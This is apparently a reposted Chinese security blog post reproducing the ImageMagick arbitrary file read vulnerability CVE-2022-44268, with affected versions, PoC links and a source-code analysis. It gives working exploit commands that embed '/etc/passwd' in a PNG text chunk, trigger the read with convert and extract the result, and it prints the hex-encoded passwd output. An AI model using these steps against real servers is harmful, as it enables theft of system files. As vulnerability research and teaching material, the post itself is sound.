ImageMagick任意文件读取漏洞 (CVE-2022-44268)

admin 2024年11月11日23:25:28评论52 views字数 6009阅读20分1秒阅读模式

介绍

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

影响范围

ImageMagick 7.1.x <= 7.1.0-51
ImageMagick 7.0.x
ImageMagick 6.9.x
ImageMagick 6.8.3-10 <= 6.8.x <= 6.8.9-10

POC

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

环境部署

imagemagick及其依赖环境安装:

我这边是直接在centos里面安装了这个环境的,命令如下

yum -y install ImageMagick pngcrush exiftool exiv2 -y

漏洞复现

生成恶意图片文件

可选择任意png文件,使用pngcrush对其进行编辑生成,默认生成文件为pngout.png

pngcrush -text a "profile" "/etc/passwd" exp.png

或者使用脚本

https://codeload.github.com/Sybil-Scan/imagemagick-lfi-poc/zip/refs/heads/main

python3 generate.py -f "/etc/passwd" -o exploit.png
ImageMagick任意文件读取漏洞 (CVE-2022-44268)

验证生成文件

exiv2 -pS exp.png
ImageMagick任意文件读取漏洞 (CVE-2022-44268)

执行convert,调用ImagemMagic对图片进行编辑

convert exp.png haha6.png
ImageMagick任意文件读取漏洞 (CVE-2022-44268)

读取生成图片内容

identify -verbose haha6.png
ImageMagick任意文件读取漏洞 (CVE-2022-44268)
ImageMagick任意文件读取漏洞 (CVE-2022-44268)

python解码示例:

print(bytes.fromhex(text).decode("utf-8"))
print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f73706f6f6c2f6d61696c3a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a31323a3130303a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a6674703a783a31343a35303a46545020557365723a2f7661722f6674703a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a39393a39393a4e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3139323a3139323a73797374656d64204e6574776f726b204d616e6167656d656e743a2f3a2f7362696e2f6e6f6c6f67696e0a646275733a783a38313a38313a53797374656d206d657373616765206275733a2f3a2f7362696e2f6e6f6c6f67696e0a706f6c6b6974643a783a3939393a3939383a5573657220666f7220706f6c6b6974643a2f3a2f7362696e2f6e6f6c6f67696e0a737373643a783a3939383a3939363a5573657220666f7220737373643a2f3a2f7362696e2f6e6f6c6f67696e0a6c696273746f726167656d676d743a783a3939373a3939343a6461656d6f6e206163636f756e7420666f72206c696273746f726167656d676d743a2f7661722f72756e2f6c736d3a2f7362696e2f6e6f6c6f67696e0a7270633a783a33323a33323a52706362696e64204461656d6f6e3a2f7661722f6c69622f72706362696e643a2f7362696e2f6e6f6c6f67696e0a636f6c6f72643a783a3939363a3939333a5573657220666f7220636f6c6f72643a2f7661722f6c69622f636f6c6f72643a2f7362696e2f6e6f6c6f67696e0a676c75737465723a783a3939353a3939323a476c75737465724653206461656d6f6e733a2f7661722f72756e2f676c75737465723a2f7362696e2f6e6f6c6f67696e0a7361736c617574683a783a3939343a37363a5361736c617574686420757365723a2f72756e2f7361736c61757468643a2f7362696e2f6e6f6c6f67696e0a616272743a783a3137333a3137333a3a2f6574632f616272743a2f7362696e2f6e6f6c6f67696e0a736574726f75626c6573686f6f743a783a3939333a3939303a3a2f7661722f6c69622f736574726f75626c6573686f6f743a2f7362696e2f6e6f6c6f67696e0a72746b69743a783a3137323a3137323a5265616c74696d654b69743a2f70726f633a2f7362696e2f6e6f6c6f67696e0a70756c73653a783a3137313a3137313a50756c7365417564696f2053797374656d204461656d6f6e3a2f7661722f72756e2f70756c73653a2f7362696e2f6e6f6c6f67696e0a6368726f6e793a783a3939323a3938373a3a2f7661722f6c69622f6368726f6e793a2f7362696e2f6e6f6c6f67696e0a727063757365723a783a32393a32393a525043205365727669636520557365723a2f7661722f6c69622f6e66733a2f7362696e2f6e6f6c6f67696e0a6e66736e6f626f64793a783a36353533343a36353533343a416e6f6e796d6f7573204e465320557365723a2f7661722f6c69622f6e66733a2f7362696e2f6e6f6c6f67696e0a756e626f756e643a783a3939313a3938363a556e626f756e6420444e53207265736f6c7665723a2f6574632f756e626f756e643a2f7362696e2f6e6f6c6f67696e0a7473733a783a35393a35393a4163636f756e742075736564206279207468652074726f7573657273207061636b61676520746f2073616e64626f78207468652074637364206461656d6f6e3a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a7573626d7578643a783a3131333a3131333a7573626d75786420757365723a2f3a2f7362696e2f6e6f6c6f67696e0a67656f636c75653a783a3939303a3938343a5573657220666f722067656f636c75653a2f7661722f6c69622f67656f636c75653a2f7362696e2f6e6f6c6f67696e0a72616476643a783a37353a37353a726164766420757365723a2f3a2f7362696e2f6e6f6c6f67696e0a71656d753a783a3130373a3130373a71656d7520757365723a2f3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a33383a33383a3a2f6574632f6e74703a2f7362696e2f6e6f6c6f67696e0a67646d3a783a34323a34323a3a2f7661722f6c69622f67646d3a2f7362696e2f6e6f6c6f67696e0a676e6f6d652d696e697469616c2d73657475703a783a3938393a3938333a3a2f72756e2f676e6f6d652d696e697469616c2d73657475702f3a2f7362696e2f6e6f6c6f67696e0a737368643a783a37343a37343a50726976696c6567652d736570617261746564205353483a2f7661722f656d7074792f737368643a2f7362696e2f6e6f6c6f67696e0a61766168693a783a37303a37303a4176616869206d444e532f444e532d534420537461636b3a2f7661722f72756e2f61766168692d6461656d6f6e3a2f7362696e2f6e6f6c6f67696e0a706f73746669783a783a38393a38393a3a2f7661722f73706f6f6c2f706f73746669783a2f7362696e2f6e6f6c6f67696e0a74637064756d703a783a37323a37323a3a2f3a2f7362696e2f6e6f6c6f67696e0a7a68696e616e3a783a313030303a313030303a7a68696e616e3a2f686f6d652f7a68696e616e3a2f62696e2f626173680a73616e65643a783a3938383a3938323a53414e45207363616e6e6572206461656d6f6e20757365723a2f7573722f73686172652f73616e653a2f7362696e2f6e6f6c6f67696e0a").decode("utf-8"))
ImageMagick任意文件读取漏洞 (CVE-2022-44268)

漏洞分析

参考:https://www.metabaseq.com/imagemagick-zero-days/

这里以ImageMagick-7.1.0-50为例

下载地址:https://github.com/ImageMagick/ImageMagick/releases?page=3

读取PNG文件

coders/png.c:2164的ReadOnePNGImage

ImageMagick任意文件读取漏洞 (CVE-2022-44268)

读取tEXt的过程当中会调用到SetImageProperty()

ImageMagick任意文件读取漏洞 (CVE-2022-44268)

SetImageProperty()在于MagickCore/property.c:4360

ImageMagick任意文件读取漏洞 (CVE-2022-44268)

在SetImageProperty()中,如果匹配到profile就进行文件读取,再将其重新赋值。(MagickCore/property.c:4723)

ImageMagick任意文件读取漏洞 (CVE-2022-44268)

读取成功之后就写入到新的png文件中。攻击者下载该图片,即可获取到内容。

思路整理:

  • 攻击者向PNG图片添加的文本块中包含profile“关键字”和“文本字符串”
  • ImageMagick把文本字符串做为文件路径去读取文件
  • 文件内容以HEX形式嵌入新生成的PNG图片
  • 攻击者下载新的PNG图片获取到文件内容

原文始发于微信公众号(pentest):ImageMagick任意文件读取漏洞 (CVE-2022-44268)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:25:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ImageMagick任意文件读取漏洞 (CVE-2022-44268)https://cn-sec.com/archives/1949550.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息